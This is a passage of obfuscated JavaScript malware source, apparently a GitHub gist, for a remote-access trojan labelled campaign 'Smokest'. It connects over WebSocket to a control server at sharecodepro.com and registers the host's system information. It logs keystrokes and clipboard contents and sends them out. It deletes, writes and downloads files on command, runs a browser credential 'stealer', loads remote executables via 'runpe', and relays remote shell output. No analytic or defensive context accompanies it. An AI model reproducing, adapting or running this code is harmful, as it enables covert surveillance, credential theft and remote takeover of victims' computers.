| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "download-file-from-agent", | |
| "status": "failed", | |
| "error": _0x35cc3 instanceof Error ? _0x35cc3["message"] : "Unknown error", | |
| "path": _0x2e77["path"], | |
| "data": import_node_buffer9["Buffer"]["from"]([]), | |
| "filename": "" | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "delete-file": { | |
| try { | |
| import_node_fs8["default"]["unlinkSync"](_0x2e77["path"]), await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "delete-file", | |
| "status": "completed", | |
| "path": _0x2e77["path"], | |
| "success": !![] | |
| }] | |
| }); | |
| } catch (_0xa178f4) { | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "delete-file", | |
| "status": "failed", | |
| "error": _0xa178f4 instanceof Error ? _0xa178f4["message"] : "Unknown error", | |
| "path": _0x2e77["path"], | |
| "success": ![] | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "upload-file-to-agent": { | |
| try { | |
| if (_0x2e77["data"]) { | |
| const _0x28fbc2 = import_node_buffer9["Buffer"]["from"](_0x2e77["data"], "base64"); | |
| import_node_fs8["default"]["writeFileSync"](_0x2e77["targetPath"], _0x28fbc2); | |
| } else { | |
| if (_0x2e77["url"]) await downloadFile(_0x2e77["url"], _0x2e77["targetPath"]); | |
| else throw new Error("Either url or data must be provided"); | |
| } | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "upload-file-to-agent", | |
| "status": "completed", | |
| "targetPath": _0x2e77["targetPath"], | |
| "success": !![] | |
| }] | |
| }); | |
| } catch (_0x2ace4e4) { | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "upload-file-to-agent", | |
| "status": "failed", | |
| "error": _0x2ace4e4 instanceof Error ? _0x2ace4e4["message"] : "Unknown error", | |
| "targetPath": _0x2e77["targetPath"], | |
| "success": ![] | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "stealer": { | |
| console["log"]("Starting stealer task..."); | |
| try { | |
| let _0x37bfd6; | |
| if (_0x2e77["chromeDll"]) try { | |
| const _0x42a7ec5 = atob(_0x2e77["chromeDll"]); | |
| _0x37bfd6 = new Uint8Array(_0x42a7ec5["length"]); | |
| for (let _0x2d7 = 0; _0x2d7 < _0x42a7ec5["length"]; _0x2d7++) { | |
| _0x37bfd6[_0x2d7] = _0x42a7ec5["charCodeAt"](_0x2d7); | |
| } | |
| console["log"]("Received chrome DLL: " + _0x37bfd6["length"] + " bytes"); | |
| } catch (_0xb17c2) { | |
| console["error"]("Failed to decode chrome DLL:", _0xb17c2); | |
| } | |
| await executeStealer({ | |
| "ws": _0x50a18, | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskId": _0x2e77["id"], | |
| "chromeDll": _0x37bfd6 | |
| }), console["log"]("Stealer task completed"); | |
| } catch (_0x39ca3) { | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "stealer-error", | |
| "status": "failed", | |
| "error": _0x39ca3 instanceof Error ? _0x39ca3["message"] : "Unknown error" | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "execute": { | |
| console["log"]("Execute task: " + _0x2e77["binaryType"]["type"] + " from " + _0x2e77["url"]); | |
| try { | |
| if (_0x2e77["binaryType"]["type"] === "exe" && _0x2e77["binaryType"]["method"] === "runpe") { | |
| if (!_0x2e77["loaderUrl"]) throw new Error("Missing loader URL for runpe method"); | |
| console["log"]("Running PE loader via module..."); | |
| const _0x576 = await runModule({ | |
| "name": "execute-pe-" + _0x2e77["id"], | |
| "moduleUrl": _0x2e77["loaderUrl"] | |
| }); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "execute", | |
| "status": "completed", | |
| "exitCode": _0x576 | |
| }] | |
| }); | |
| } else throw new Error("Execute method not implemented: " + _0x2e77["binaryType"]["type"] + "/" + ("method" in _0x2e77["binaryType"] ? _0x2e77["binaryType"]["method"] : "default")); | |
| } catch (_0x4b69a4) { | |
| console["error"]("Execute task failed:", _0x4b69a4), await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "execute", | |
| "status": "failed", | |
| "error": _0x4b69a4 instanceof Error ? _0x4b69a4["message"] : "Unknown error", | |
| "exitCode": null | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| default: | |
| console["log"]("Unknown task type: " + _0x2e77["type"] + ", skipping"); | |
| } | |
| } catch (_0x51cdd2) { | |
| console["error"]("Error processing task " + _0x2e77["id"] + ":", _0x51cdd2); | |
| } | |
| } | |
| } | |
| async function startWebSocketKeepAlive(_0x4c2b6e6, _0x576b7b3) { | |
| const _0x5bf3f2 = potato; | |
| console["log"]("Starting WebSocket keep-alive..."); | |
| const _0x2c969c6 = setInterval(async () => { | |
| const _0x11ae = _0x5bf3f2; | |
| try { | |
| if (_0x4c2b6e6["readyState"] === WebSocket["OPEN"]) { | |
| const _0x2ea8e2 = { | |
| "huidMd5": _0x576b7b3, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": "keepalive-" + Date["now"](), | |
| "type": "keep-alive", | |
| "status": "completed" | |
| }] | |
| }, | |
| _0x541e2 = await serizalizeCommandFromAgent(_0x2ea8e2); | |
| _0x4c2b6e6["send"](_0x541e2); | |
| } else console["log"]("WebSocket not open, stopping keep-alive"), clearInterval(_0x2c969c6); | |
| } catch (_0x2d9) { | |
| console["error"]("Keep-alive message failed:", _0x2d9), clearInterval(_0x2c969c6); | |
| } | |
| }, 5000); | |
| _0x4c2b6e6["addEventListener"]("close", () => { | |
| clearInterval(_0x2c969c6); | |
| }), _0x4c2b6e6["addEventListener"]("error", () => { | |
| clearInterval(_0x2c969c6); | |
| }); | |
| } | |
| async function startKeylogger(_0x2d139f3, _0x171b2) { | |
| const _0x44539b2 = potato; | |
| console["log"]("Starting keylogger..."); | |
| while (!![]) { | |
| try { | |
| const _0xc10b5 = await waitKeyboardLog(); | |
| console["log"]("Keylogger: " + _0xc10b5["focusApp"] + " - " + _0xc10b5["text"]["length"] + " chars"), await sendCommand2(_0x2d139f3, { | |
| "huidMd5": _0x171b2, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": Math["random"]()["toString"](36)["substring"](7), | |
| "type": "keyboard-log", | |
| "status": "completed", | |
| "focusApp": _0xc10b5["focusApp"], | |
| "text": _0xc10b5["text"] | |
| }] | |
| }); | |
| } catch (_0x2a11) { | |
| console["error"]("Keylogger error:", _0x2a11), await new Promise(_0x59b26d3 => setTimeout(_0x59b26d3, 5000)); | |
| } | |
| } | |
| } | |
| async function startClipboardLogger(_0x439d2, _0x5a6dcf3) { | |
| const _0x1491ff2 = potato; | |
| console["log"]("Starting clipboard logger..."); | |
| while (!![]) { | |
| try { | |
| console["log"]("Waiting for clipboard changes..."); | |
| const _0x581 = await waitClipboardLog(); | |
| console["log"]("Clipboard logger: " + _0x581["focusApp"] + " - " + _0x581["clipboard"]["length"] + " chars"), await sendCommand2(_0x439d2, { | |
| "huidMd5": _0x5a6dcf3, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": Math["random"]()["toString"](36)["substring"](7), | |
| "type": "clipboard-log", | |
| "status": "completed", | |
| "focusApp": _0x581["focusApp"], | |
| "clipboard": _0x581["clipboard"] | |
| }] | |
| }); | |
| } catch (_0x583) { | |
| console["error"]("Clipboard logger error:", _0x583), await new Promise(_0x4e3fde3 => setTimeout(_0x4e3fde3, 5000)); | |
| } | |
| } | |
| } | |
| async function main() { | |
| const _0x12309a6 = potato; | |
| console["log"]("Initializing client..."), await initializeClient(), console["log"]("Client initialized"); | |
| const _0x2a13 = await createMutex(10045); | |
| !_0x2a13 && (console["error"]("Mutex already exists, another instance is running..."), import_node_process9["default"]["exit"](0)); | |
| const _0x1ff8b0 = getHuidMd5(), | |
| _0x585 = "http://sharecodepro.com" ["split"](",")["map"](_0x1680fb3 => _0x1680fb3["trim"]()); | |
| console["log"]("HUID MD5: " + _0x1ff8b0), console["log"]("Token: " + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU" ["substring"](0, 20) + "..."), console["log"]("API URLs: " + _0x585["join"](", ")), console["log"]("Collecting system info..."); | |
| const _0x22c3 = await getSystemInfo(); | |
| console["log"]("System info collected:", _0x22c3), console["log"]("Creating WebSocket connection..."); | |
| const _0x599 = client["conn"]["$ws"](); | |
| _0x599["binaryType"] = "arraybuffer", console["log"]("WebSocket created, waiting for connection..."), _0x599["addEventListener"]("open", async () => { | |
| const _0x348f4 = _0x12309a6; | |
| console["log"]("Connected to server"), startWebSocketKeepAlive(_0x599, _0x1ff8b0), ptySessionManager["setOutputCallback"]((_0x50ad2, _0x3278a2) => { | |
| const _0x2b47b2 = _0x348f4; | |
| sendCommand2(_0x599, { | |
| "huidMd5": _0x1ff8b0, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": Math["random"]()["toString"](36)["substring"](7), | |
| "type": "pty-output", | |
| "status": "completed", | |
| "sessionId": _0x50ad2, | |
| "data": _0x3278a2 | |
| }] | |
| })["catch"](_0x1ced2 => { | |
| const _0xc470a = _0x2b47b2; | |
| console["error"]("Failed to send PTY output:", _0x1ced2); | |
| }); | |
| }); | |
| try { | |
| await sendCommand2(_0x599, { | |
| "huidMd5": _0x1ff8b0, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "moduleType": "main", | |
| "apiUrl": getSelectedApiUrl(), | |
| "pcInfo": _0x22c3 | |
| }), console["log"]("Registration message sent"); | |
| } catch (_0xb3a21c3) { | |
| console["error"]("Failed to send registration:", _0xb3a21c3), import_node_process9["default"]["exit"](1); | |
| } | |
| startKeylogger(_0x599, _0x1ff8b0)["catch"](_0x4fc9b2 => { | |
| const _0x284fbc2 = _0x348f4; | |
| console["error"]("Keylogger stopped:", _0x4fc9b2); | |
| }), startClipboardLogger(_0x599, _0x1ff8b0)["catch"](_0x2b6a2 => { | |
| const _0x594 = _0x348f4; | |
| console["error"]("Clipboard logger stopped:", _0x2b6a2); | |
| }); | |
| }), _0x599["addEventListener"]("message", async _0x58def7 => { | |
| const _0x421e4a2 = _0x12309a6; | |
| try { | |
| if (_0x58def7["data"] instanceof ArrayBuffer) await handleMessage(_0x58def7["data"], _0x599, _0x1ff8b0); | |
| else { | |
| if (_0x58def7["data"] instanceof Blob) { | |
| const _0x60cf0d3 = await _0x58def7["data"]["arrayBuffer"](); | |
| await handleMessage(_0x60cf0d3, _0x599, _0x1ff8b0); | |
| } else console["error"]("Unexpected message type:", typeof _0x58def7["data"]); | |
| } | |
| } catch (_0x51c2) { | |
| console["error"]("Error handling message:", _0x51c2); | |
| } | |
| }), _0x599["addEventListener"]("error", _0x377dc2 => { | |
| const _0x5c5c2d2 = _0x12309a6; | |
| console["error"]("WebSocket error:", _0x377dc2); | |
| for (const [, _0xf0f3] of connections) { | |
| !_0xf0f3["socket"]["destroyed"] && _0xf0f3["socket"]["end"](); | |
| } | |
| connections["clear"](), import_node_process9["default"]["exit"](1); | |
| }), _0x599["addEventListener"]("close", _0xc8bd3 => { | |
| const _0xde = _0x12309a6; | |
| console["log"]("Disconnected from server. Code: " + _0xc8bd3["code"] + ", Reason: " + _0xc8bd3["reason"]); | |
| for (const [, _0x14bae3] of connections) { | |
| !_0x14bae3["socket"]["destroyed"] && _0x14bae3["socket"]["end"](); | |
| } | |
| connections["clear"](), import_node_process9["default"]["exit"](1); | |
| }), console["log"]("Event listeners registered, keeping process alive..."), await new Promise(() => {}); | |
| } | |
| main()["catch"](_0x601 => { | |
| const _0x215bb = potato; | |
| console["error"]("Fatal error:", _0x601), import_node_process9["default"]["exit"](1); | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment